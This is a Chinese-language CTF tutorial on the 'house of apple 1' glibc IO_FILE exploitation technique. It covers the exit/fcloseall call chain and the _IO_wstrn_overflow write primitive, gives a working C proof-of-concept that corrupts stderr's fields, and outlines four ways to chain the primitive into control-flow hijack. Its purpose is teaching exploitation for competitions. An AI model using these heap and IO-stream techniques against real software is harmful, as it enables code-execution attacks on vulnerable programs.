前言
在高版本的 glibc
中逐渐移除了__malloc_hook/__free_hook/__realloc_hook
等一众hook
全局变量,这意味着在 CTF
竞赛中利用 “hook”
来控制程序流成为了过去式。而想要在高版本利用成功,基本上就离不开对IO_FILE
结构体的伪造与IO
流的攻击
下面介绍一种由roderick01师傅发现的链子称之为 house of apple
而 hosue of apple
一共有三条链子本文将介绍 apple1
利用条件
- 程序从
main
函数返回或能调用exit
函数 - 能泄露出
heap
地址和libc
地址 - 能使用一次
largebin attack
(一次即可)或 其他可以改写_IO_file
为堆地址
的方法
作用效果
设地址A
为我们改写的stderr(IO_FILE)的堆地址
。可以将我们填入的地址B(填在stderr->_wide_data)
从 B
到 B+0x40
全部都改写成 A+0xf0
(除_IO_read_end(B+0x8)
和 _IO_buf_end(B+0x38)
这两个地方会被改写成 A+0x1f0
)
利用原理
注:原理解释均基于amd64
程序
当程序从main函数返回或者执行`exit`函数的时候,均会调用fcloseall函数,该调用链如下:
- exit
- fcloseall
- _IO_cleanup
- _IO_flush_all_lockp
- _IO_OVERFLOW
最后会遍历_IO_list_all
存放的每一个IO_FILE
结构体,如果满足条件的话,会调用每个结构体中vtable->_overflow
函数指针指向的函数。
使用largebin attack
可以劫持_IO_list_all
变量,将对应的堆地址伪造成我们想要的IO_FILE
结构体的样子,而在此时,我们其实仍可以继续利用某些IO
流函数去修改其他地方的值。要想修改其他地方的值,就离不开_IO_FILE
的一个成员_wide_data
的利用
struct _IO_FILE_complete
{
struct _IO_FILE _file;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data; // 劫持这个变量
struct _IO_FILE *_freeres_list;
void __freeres_buf;
size_t __pad5;
int _mode;
/_ Make sure we don't get into trouble again. */
char _unused2[15 * sizeof(int) - 4 * sizeof(void *) - sizeof(size_t)];
};
struct _IO_wide_data *_wide_data
在_IO_FILE
中的偏移为0xa0
下面是_IO_FILE的偏移表
_IO_FILE:
0x0: '_flags',
0x8: '_IO_read_ptr',
0x10: '_IO_read_end',
0x18: '_IO_read_base',
0x20: '_IO_write_base',
0x28: '_IO_write_ptr',
0x30: '_IO_write_end',
0x38: '_IO_buf_base',
0x40: '_IO_buf_end',
0x48: '_IO_save_base',
0x50: '_IO_backup_base',
0x58: '_IO_save_end',
0x60: '_markers',
0x68: '_chain',
0x70: '_fileno',
0x74: '_flags2',
0x78: '_old_offset',
0x80: '_cur_column',
0x82: '_vtable_offset',
0x83: '_shortbuf',
0x88: '_lock',
0x90: '_offset',
0x98: '_codecvt',
0xa0: '_wide_data',
0xa8: '_freeres_list',
0xb0: '_freeres_buf',
0xb8: '__pad5',
0xc0: '_mode',
0xc4: '_unused2',
0xd8: 'vtable'
我们在伪造_IO_FILE
结构体的时候,伪造_wide_data
变量,然后通过某些函数,比如_IO_wstrn_overflow
就可以将已知地址空间上的某些值修改为一个已知值
static wint_t
_IO_wstrn_overflow(FILE *fp, wint_t c)
{
/* 当我们到达这里时,意味着用户提供的缓冲区已满。
但由于我们必须返回总共将要写入的字符数,
因此我们必须为进一步使用提供一个缓冲区。
我们可以通过在 _IO_wstrnfile 结构体的溢出缓冲区中不断写入来实现这一点。 */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb(fp, snf->overflow_buf,
snf->overflow_buf + (sizeof(snf->overflow_buf)
/ sizeof(wchar_t)), 0);
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof(snf->overflow_buf)
/ sizeof(wchar_t)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
/* 由于我们不真正关心存储不适合缓冲区的字符,
因此我们直接忽略它。 */
return c;
}
分析一下这个函数,首先将fp
强转为_IO_wstrnfile *
指针,然后判断fp->_wide_data->_IO_buf_base != snf->overflow_buf
是否成立(一般肯定是成立的),如果成立则会对fp->_wide_data
的_IO_write_base
、_IO_read_base
、_IO_read_ptr
和_IO_read_end
赋值为snf->overflow_buf
或者与该地址一定范围内偏移的值;最后对fp->_wide_data
的_IO_write_ptr
和_IO_write_end
赋值。
也就是说,只要控制了fp->_wide_data
,就可以控制从fp->_wide_data
开始一定范围内的内存的值,也就等同于任意地址写已知地址。
这里有时候需要绕过_IO_wsetb
函数里面的free
void
_IO_wsetb(FILE *f, wchar_t *b, wchar_t *eb, int a)
{
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free(f->_wide_data->_IO_buf_base); // 其不为0的时候不要执行到这里
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
_IO_wstrnfile
涉及到的结构体如下:
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
typedef struct
{
_IO_strfile f;
/* 这是用于存储不适合用户提供的缓冲区的字符。 */
char overflow_buf[64];
} _IO_strnfile;
typedef struct
{
_IO_strfile f;
/* 这是用于存储不适合用户提供的缓冲区的字符。 */
wchar_t overflow_buf[64]; // overflow_buf在这里********
} _IO_wstrnfile;
其中,overflow_buf
相对于_IO_FILE
结构体的偏移为0xf0
,在vtable
后面。
而struct _IO_wide_data
结构体如下:
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* 当前读取指针 */
wchar_t *_IO_read_end; /* 获取区域的结束位置 */
wchar_t *_IO_read_base; /* 回退+获取区域的起始位置 */
wchar_t *_IO_write_base; /* 写入区域的起始位置 */
wchar_t *_IO_write_ptr; /* 当前写入指针 */
wchar_t *_IO_write_end; /* 写入区域的结束位置 */
wchar_t *_IO_buf_base; /* 保留区域的起始位置 */
wchar_t *_IO_buf_end; /* 保留区域的结束位置 */
/* 以下字段用于支持回退和撤销操作 */
wchar_t *_IO_save_base; /* 非当前获取区域的起始位置 */
wchar_t *_IO_backup_base; /* 回退区域的第一个有效字符的指针 */
wchar_t *_IO_save_end; /* 非当前获取区域的结束位置 */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
换而言之,假如此时在堆上伪造一个_IO_FILE
结构体并已知其地址为A
,将A + 0xd8 (vtable)
替换为_IO_wstrn_jumps
地址,A + 0xa0 (_wide_data)
设置为B
,并设置其他成员以便能调用到_IO_OVERFLOW
exit
函数则会一路调用到_IO_wstrn_overflow
函数,并将 B
至 B + 0x38
的地址区域的内容都替换为 A + 0xf0
或者 A + 0x1f0
。
下面直接用roderick01师傅写的demo来举个例子
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
puts("[*] allocate a 0x100 chunk");
size_t *p1 = malloc(0xf0);
size_t *tmp = p1;
size_t old_value = 0x1122334455667788;
for (size_t i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value; // 就是把p1中全部的内容都变成old_value
}
puts("===========================old value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================old value=======================");
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t stderr_write_ptr_addr = puts_addr + 0x1997b8;
printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
size_t stderr_flags2_addr = puts_addr + 0x199804;
printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
size_t stderr_wide_data_addr = puts_addr + 0x199830;
printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
size_t sdterr_vtable_addr = puts_addr + 0x199868;
printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
puts("[+] step 1: change stderr->_IO_write_ptr to -1");
*(size_t *)stderr_write_ptr_addr = (size_t)-1;
puts("[+] step 2: change stderr->_flags2 to 8");
*(size_t *)stderr_flags2_addr = 8;
puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
*(size_t *)stderr_wide_data_addr = (size_t)p1;
puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
*(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
puts("[+] step 5: call fcloseall and trigger house of apple");
fcloseall();
tmp = p1;
puts("===========================new value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================new value=======================");
}
输出结果如下:
roderick@ee8b10ad26b9:~/hack$ gcc demo.c -o demo -g -w && ./demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55cfb956d2a0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2b0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2c0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f648b8a6ef0
[*] stderr->_IO_write_ptr address: 0x7f648ba406a8
[*] stderr->_flags2 address: 0x7f648ba406f4
[*] stderr->_wide_data address: 0x7f648ba40720
[*] stderr->vtable address: 0x7f648ba40758
[*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55cfb956d2a0]: 0x00007f648ba40770 0x00007f648ba40870
[0x55cfb956d2b0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2c0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2d0]: 0x00007f648ba40770 0x00007f648ba40870
===========================new value=======================
从输出中可以看到,已经成功修改了sdterr->_wide_data
所指向的地址空间的内存
总结利用流程(此处假设 stderr
的地址为 A
):
- 想办法修改
stderr->_IO_write_ptr
为-1
- 修改
stderr->_flags2
为8
- 修改
stderr->_wide_data
为地址B
- 修改
stderr->vtable
为_IO_wstrn_jumps
- 最后调用
exit
等方法来触发apple1
会将B
到B+0x40
的位置全部改写为A+0xf0
(除_IO_read_end(B+0x8)
和_IO_buf_end(B+0x38)
会被改写成A+0x1f0
)
因为它的效果仅仅是利用IO来进行任意地址写已知地址,所以我们还需要配合其他漏洞才能获得flag
下面是roderick01师傅给出的四种结合house of apple1
来获取flag的方法
思路一:修改tcache
线程变量
该思路需要借助house of pig
的思想,利用_IO_str_overflow
中的malloc
进行任意地址分配,memcpy
进行任意地址覆盖。其代码片段如下:
int
_IO_str_overflow(FILE *fp, int c)
{
// ......
char *new_buf;
char *old_buf = fp->_IO_buf_base; // 赋值为old_buf
size_t old_blen = _IO_blen(fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc(new_size); // 这里任意地址分配
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy(new_buf, old_buf, old_blen); // 劫持_IO_buf_base后即可任意地址写任意值
free(old_buf);
// .......
}
利用步骤如下:
- 伪造至少两个
_IO_FILE
结构体 - 第一个
_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_wstrn_overflow
函数修改tcache
全局变量为已知值,也就控制了tcache bin
的分配 - 第二个
_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_str_overflow
中的malloc
函数任意地址分配,并使用memcpy
使得能够任意地址写任意值 - 利用两次任意地址写任意值修改
pointer_guard
和IO_accept_foreign_vtables
的值绕过_IO_vtable_check
函数的检测(或者利用一次任意地址写任意值修改libc.got
里面的函数地址,很多IO
流函数调用strlen/strcpy/memcpy/memset
等都会调到libc.got
里面的函数) - 文章 - IO FILE 之vtable check 以及绕过 - 先知社区
- glibc 2.24开始的vtable check及其绕过 | 时钟
- 利用一个
_IO_FILE
,随意伪造vtable
劫持程序控制流即可
因为可以已经任意地址写任意值了,所以这可以控制的变量和结构体非常多,也非常地灵活,需要结合具体的题目进行利用,比如题目中_IO_xxx_jumps
映射的地址空间可写的话直接修改其函数指针即可。
思路二:修改mp_
结构体
该思路与上述思路差不多,不过对tcachebin
分配的劫持是通过修改mp_.tcache_bins
这个变量。打这个结构体的好处是在攻击远程时不需要爆破地址,因为线程全局变量、tls
结构体的地址本地和远程并不一定是一样的,有时需要爆破。
利用步骤如下:
- 伪造至少两个
_IO_FILE
结构体 - 第一个
_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_wstrn_overflow
函数修改mp_.tcache_bins
为很大的值,使得很大的chunk
也通过tcachebin
去管理 - 接下来的过程与上面的思路是一样的
思路三:修改pointer_guard
线程变量之house of emma
该思路其实就是house of apple + house of emma
。
利用步骤如下:
- 伪造两个
_IO_FILE
结构体 - 第一个
_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_wstrn_overflow
函数修改tls
结构体pointer_guard
的值为已知值 - 第二个
_IO_FILE
结构体用来做house of emma
利用即可控制程序执行流
思路四:修改global_max_fast
全局变量
这个思路也很灵活,修改掉这个变量后,直接释放超大的chunk
,去覆盖掉point_guard
或者tcache
变量。我称之为house of apple + house of corrision
。
参考:
1.[原创] House of apple 一种新的glibc中IO攻击方法 (1)-Pwn-看雪-安全社区|安全招聘|kanxue.com
2.house of apple – 博的blog